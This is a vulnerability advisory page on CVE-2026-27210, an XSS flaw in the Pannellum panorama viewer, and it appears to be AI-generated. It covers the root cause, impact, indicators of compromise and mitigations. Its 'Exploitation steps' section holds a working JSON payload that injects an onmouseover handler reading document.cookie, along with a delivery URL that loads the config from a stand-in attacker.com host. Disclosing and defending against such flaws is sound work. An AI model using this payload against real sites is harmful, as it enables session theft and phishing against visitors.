CVE-2026-27210: 
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-27210 is a Cross-Site Scripting (XSS) vulnerability in Pannellum, a lightweight open-source panorama viewer for the web. The flaw exists in the hot spot attributes configuration property, which allowed any HTML attribute — including event handler attributes — to be set without restriction, enabling arbitrary JavaScript execution. It affects Pannellum npm package versions 2.5.0 through 2.5.6 and was disclosed on February 19, 2026, with a patch released in version 2.5.7. The vulnerability carries a CVSS v3.1 score of 6.1 (Medium) and a CVSS v4.0 score of 5.3 (Medium) (GitHub Advisory, Pannellum Advisory).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in the createHotSpot function within src/js/pannellum.js. The vulnerable code called a.setAttribute(key, hs.attributes[key]) without filtering the attribute key, allowing an attacker to inject HTML event handler attributes (e.g., onmouseover, onload) directly into anchor elements rendered in the viewer. Because certain DOM events fire automatically without explicit user clicks, a victim merely visiting a standalone viewer URL (pannellum.htm) that references a malicious JSON config file is sufficient to trigger JavaScript execution — no further interaction is required. The fix in commit 9391ef8 normalizes attribute keys to lowercase, strips non-ASCII characters, and blocks any key starting with on or containing href when escapeHTML is enabled (GitHub Commit, GitHub Advisory).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the website hosting the Pannellum standalone viewer (pannellum.htm). This can be used to replace page content, perform phishing by spoofing the hosting site's appearance, steal session cookies or credentials if the viewer is hosted on a domain shared with authenticated services, and conduct further client-side attacks against visiting users. Confidentiality and integrity of the subsequent (browser) context are both impacted, though the vulnerable system itself (the server) is not directly affected (GitHub Advisory, Pannellum Advisory).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-27210. The EPSS score is approximately 0.097% (8th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability was independently reported by multiple researchers — luminary (@lumin9ry), Visvge (@Sicclord1/@Visvge), and sutol (@0x5a6163/@SUT0L) — suggesting it was identified through security research rather than active exploitation (GitHub Advisory).

Exploitation steps

  1. Identify a target: Locate a website hosting the Pannellum standalone viewer file (pannellum.htm) on versions 2.5.0–2.5.6, particularly on domains that share cookies with authenticated services.
  2. Craft a malicious JSON config: Create a Pannellum JSON configuration file that defines a hot spot with a malicious attributes property containing an HTML event handler, for example:
{
  "default": { "firstScene": "scene1" },
  "scenes": {
    "scene1": {
      "type": "equirectangular",
      "panorama": "image.jpg",
      "hotSpots": [{
        "pitch": 0, "yaw": 0, "type": "info",
        "attributes": { "onmouseover": "alert(document.cookie)" }
      }]
    }
  }
}
  1. Host the malicious config: Place the malicious JSON config on an attacker-controlled server accessible via URL.
  2. Deliver the payload: Craft a URL pointing to the vulnerable pannellum.htm with the config parameter referencing the malicious JSON file (e.g., https://victim.com/pannellum.htm?config=https://attacker.com/evil.json).
  3. Trigger execution: Send the crafted URL to a victim. When the victim visits the URL, the Pannellum viewer loads the malicious config, renders the hot spot with the injected event handler attribute, and the event fires automatically (e.g., on page load or mouse movement), executing the attacker's JavaScript in the context of victim.com (GitHub Advisory, GitHub Commit).

Indicators of compromise

  • Network: Requests to pannellum.htm with a config parameter pointing to an external or unexpected domain (e.g., ?config=https://attacker.com/evil.json); outbound requests from victim browsers to attacker-controlled infrastructure following Pannellum page loads.
  • Logs: Web server access logs showing pannellum.htm accessed with unusual or external config query parameters; browser console logs containing Hot spot attribute skipped. (present only in patched versions, absence may indicate unpatched deployment).
  • File System: Presence of Pannellum npm package versions 2.5.0–2.5.6 in node_modules/pannellum/ or equivalent deployment directories.
  • Process/Browser: Unexpected JavaScript execution or DOM manipulation on pages hosting the Pannellum viewer, such as page content replacement or unauthorized network requests originating from the viewer context.

Mitigation and workarounds

Upgrade the Pannellum npm package to version 2.5.7 or later, which restricts hot spot attribute keys to block event handler attributes and href injection (GitHub Advisory, GitHub Commit). As an immediate workaround, set the Content-Security-Policy HTTP response header to include script-src-attr 'none', which blocks execution of inline event handlers. Additionally, avoid hosting pannellum.htm on any domain that shares authentication cookies with other services to limit the blast radius of any XSS exploitation (Pannellum Advisory).

Community reactions

The vulnerability was independently and simultaneously reported by multiple security researchers — luminary (@lumin9ry), Visvge (@Sicclord1/@Visvge), and sutol (@0x5a6163/@SUT0L) — as well as an unnamed researcher, indicating coordinated responsible disclosure. Red Hat has acknowledged the CVE in their security tracking. No significant broader media coverage or notable community controversy has been identified beyond standard vulnerability database entries (GitHub Advisory, Red Hat CVE).

Additional resources


Source: This report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-966w-4vpf-p7hcHIGH7.1
  • JavaScript logoJavaScript
  • @aloma.io/aloma
NoYesOct 25, 2026
GHSA-mrwp-f3q8-3g9pMEDIUM5.9
  • JavaScript logoJavaScript
  • follow-redirects
NoYesOct 25, 2026
GHSA-hfm3-x63j-7fxpHIGHN/A
  • JavaScript logoJavaScript
  • @payload-auth-link/migrate
NoYesOct 25, 2026
GHSA-6244-vvv9-76f5MEDIUMN/A
  • JavaScript logoJavaScript
  • @payload-auth-link/plugin
NoYesOct 25, 2026
GHSA-q53q-qg98-p9jfHIGHN/A
  • JavaScript logoJavaScript
  • llm-fw
NoYesOct 25, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management